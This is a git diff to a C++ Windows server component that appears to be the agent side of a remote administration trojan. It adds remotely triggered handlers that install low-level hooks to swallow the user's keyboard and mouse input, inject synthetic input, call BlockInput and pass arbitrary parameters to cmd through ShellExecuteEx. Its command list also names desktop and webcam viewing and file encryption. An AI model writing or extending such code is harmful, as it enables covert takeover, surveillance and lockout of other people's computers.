diff --git a/VS17/Server/Server.vcxproj b/VS17/Server/Server.vcxproj
index 4c2f5cf..b2f2a99 100644
--- a/VS17/Server/Server.vcxproj
+++ b/VS17/Server/Server.vcxproj
@@ -165,6 +165,7 @@
+
diff --git a/VS17/Server/Server.vcxproj.filters b/VS17/Server/Server.vcxproj.filters
index eea0f01..b739d9f 100644
--- a/VS17/Server/Server.vcxproj.filters
+++ b/VS17/Server/Server.vcxproj.filters
@@ -75,6 +75,9 @@
Header Files\Network
+
+ Header Files\Commands
+
diff --git a/src/Server/CommandProperties.cpp b/src/Server/CommandProperties.cpp
index 5b7921a..278e325 100644
--- a/src/Server/CommandProperties.cpp
+++ b/src/Server/CommandProperties.cpp
@@ -4,10 +4,85 @@
const std::array(Commands::NUMBER_OF_COMMANDS)> COMMAND_PROPERTIES
{ {
- { std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX },
- { std::make_tuple(Commands::MOUSECTRL, "mouse"), _onCmd_MOUSECTRL }
+ { std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX },
+ { std::make_tuple(Commands::KEYBOARDCTRL_ON, "kbon"), _onCmd_KEYBOARDCTRL_ON },
+ { std::make_tuple(Commands::KEYBOARDCTRL_OFF, "kboff"), _onCmd_KEYBOARDCTRL_OFF },
+ { std::make_tuple(Commands::MOUSECTRL_ON, "mon"), _onCmd_MOUSECTRL_ON },
+ { std::make_tuple(Commands::MOUSECTRL_OFF, "moff"), _onCmd_MOUSECTRL_OFF },
+ { std::make_tuple(Commands::EXECUTECMD, "cmd"), _onCmd_EXECUTECMD },
+ { std::make_tuple(Commands::BLOCKINPUT_ON, "bion"), _onCmd_BLOCKINPUT_ON },
+ { std::make_tuple(Commands::BLOCKINPUT_OFF, "bioff"), _onCmd_BLOCKINPUT_OFF }
} };
+namespace detail
+{
+ namespace hooks
+ {
+ namespace data
+ {
+ static HHOOK mouseHook;
+ static HHOOK keyboardHook;
+ }
+
+ LRESULT CALLBACK LowLevelMouseProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)
+ {
+ if (nCode == HC_ACTION)
+ return (-1);
+
+ return CallNextHookEx(data::mouseHook, nCode, wParam, lParam);
+ }
+
+ LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam)
+ {
+ if (nCode == HC_ACTION)
+ return (-1);
+
+ return CallNextHookEx(data::keyboardHook, nCode, wParam, lParam);
+ }
+ } // namespace hooks
+
+ namespace emulator
+ {
+ constexpr size_t DELAY = 100;
+
+ bool SendMouseInput(DWORD button)
+ {
+ INPUT input = { INPUT_MOUSE };
+ input.mi.dwFlags = button;
+
+ if (SendInput(1, &input, sizeof(INPUT)) != 1)
+ return false;
+
+ SleepEx(DELAY, FALSE);
+
+ input.mi.dwFlags = (button <<= 1);
+ if (SendInput(1, &input, sizeof(INPUT)) != 1)
+ return false;
+
+ return true;
+ }
+
+ bool SendKeyboardInput(UINT key)
+ {
+ INPUT input = { INPUT_KEYBOARD };
+ input.ki.wScan = MapVirtualKey(key, MAPVK_VK_TO_VSC);
+ input.ki.wVk = key;
+
+ if (SendInput(1, &input, sizeof(INPUT)) != 1)
+ return false;
+
+ SleepEx(DELAY, FALSE);
+
+ input.ki.dwFlags = KEYEVENTF_KEYUP;
+ if (SendInput(1, &input, sizeof(INPUT)) != 1)
+ return false;
+
+ return true;
+ }
+ } // namespace emulator
+} // namespace detail
+#pragma region Functions
+
bool _onCmd_MESSAGEBOX(const std::vector &args)
{
if(args.size() != 1ull)
@@ -16,14 +91,65 @@ bool _onCmd_MESSAGEBOX(const std::vector &args)
return (MessageBoxA(nullptr, args[0].c_str(), "MESSAGE", MB_ICONERROR | MB_OK | MB_SYSTEMMODAL) != 0);
}
-bool _onCmd_MOUSECTRL(const std::vector &args)
+bool _onCmd_KEYBOARDCTRL_ON(const std::vector &args)
{
- if (args.size() != 1ull)
- return false;
+ if (!detail::hooks::data::keyboardHook)
+ detail::hooks::data::keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, detail::hooks::LowLevelKeyboardProc, nullptr, 0ul);
+
+ if (UINT key{}; sscanf_s(args[0].c_str(), "%u", &key))
+ return detail::emulator::SendKeyboardInput(key);
- int x{},
- y{};
- sscanf_s(args[0].c_str(), "%d %d", &x, &y);
+ return true;
+}
+
+bool _onCmd_KEYBOARDCTRL_OFF(const std::vector&)
+{
+ return UnhookWindowsHookEx(detail::hooks::data::keyboardHook);;
+}
+
+bool _onCmd_MOUSECTRL_ON(const std::vector &args)
+{
+ if(!detail::hooks::data::mouseHook)
+ detail::hooks::data::mouseHook = SetWindowsHookEx(WH_MOUSE_LL, detail::hooks::LowLevelMouseProc, nullptr, 0ul);
+
+ int x{},
+ y{};
+ DWORD button{};
+ if (sscanf_s(args[0].c_str(), "%d %d %u", &x, &y, &button) == 3 && !detail::emulator::SendMouseInput(button))
+ return false;
return SetCursorPos(x, y);
}
+
+bool _onCmd_MOUSECTRL_OFF(const std::vector&)
+{
+ return UnhookWindowsHookEx(detail::hooks::data::mouseHook);
+}
+
+bool _onCmd_EXECUTECMD(const std::vector &args)
+{
+ std::string params;
+ for (auto &&arg : args)
+ params += arg;
+
+ SHELLEXECUTEINFO sei = { sizeof(SHELLEXECUTEINFO) };
+ sei.fMask = SEE_MASK_ASYNCOK | SEE_MASK_NO_CONSOLE;
+ sei.lpVerb = TEXT("open");
+ sei.lpFile = TEXT("cmd");
+ sei.lpParameters = params.c_str();
+ sei.nShow = SW_SHOW;
+
+ return ShellExecuteEx(&sei);
+}
+
+bool _onCmd_BLOCKINPUT_ON(const std::vector&)
+{
+ return BlockInput(true);
+}
+
+bool _onCmd_BLOCKINPUT_OFF(const std::vector&)
+{
+ return BlockInput(false);
+}
+
+#pragma endregion
\ No newline at end of file
diff --git a/src/Server/CommandProperties.hpp b/src/Server/CommandProperties.hpp
index d7e65d0..0fb7a22 100644
--- a/src/Server/CommandProperties.hpp
+++ b/src/Server/CommandProperties.hpp
@@ -12,15 +12,19 @@ enum class Commands : size_t
VIEWDESKTOP_STOP,
VIEWWEBCAM_START,
VIEWWEBCAM_STOP,
- KEYBOARDCTRL,
- MOUSECTRL,
+ KEYBOARDCTRL_ON,
+ KEYBOARDCTRL_OFF,
+ MOUSECTRL_ON,
+ MOUSECTRL_OFF,
EXECUTECMD,
ENCRYPTFILE,
DECRYPTFILE,
IMPORTFILE,
EXPORTFILE,
- BLOCKINPUT,
- PLAYSOUND,
+ BLOCKINPUT_ON,
+ BLOCKINPUT_OFF,
+ PLAYSOUND_START,
+ PLAYSOUND_STOP,
NUMBER_OF_COMMANDS
};
@@ -55,14 +59,17 @@ void _onCmd_VIEWDESKTOP_START(const std::vector &args, const std::b
void _onCmd_VIEWDESKTOP_STOP (const std::vector &args, const std::bitset &bitset, size_t pos);
void _onCmd_VIEWWEBCAM_START (const std::vector &args, const std::bitset &bitset, size_t pos);
void _onCmd_VIEWWEBCAM_STOP (const std::vector &args, const std::bitset &bitset, size_t pos);
-void _onCmd_KEYBOARDCTRL (const std::vector &args, const std::bitset &bitset, size_t pos);
-bool _onCmd_MOUSECTRL (const std::vector &args);
+bool _onCmd_KEYBOARDCTRL_ON (const std::vector &args);
+bool _onCmd_KEYBOARDCTRL_OFF (const std::vector&);
+bool _onCmd_MOUSECTRL_ON (const std::vector &args);
+bool _onCmd_MOUSECTRL_OFF (const std::vector&);
bool _onCmd_EXECUTECMD (const std::vector &args);
bool _onCmd_ENCRYPTFILE (const std::vector &args);
bool _onCmd_DECRYPTFILE (const std::vector &args);
bool _onCmd_IMPORTFILE (const std::vector &args);
bool _onCmd_EXPORTFILE (const std::vector &args);
-bool _onCmd_BLOCKINPUT (const std::vector &args);
+bool _onCmd_BLOCKINPUT_ON (const std::vector&);
+bool _onCmd_BLOCKINPUT_OFF (const std::vector&);
bool _onCmd_PLAYSOUND (const std::vector &args);
#endif /* __COMMANDPROPERTIES_HPP_INCLUDED__ */
\ No newline at end of file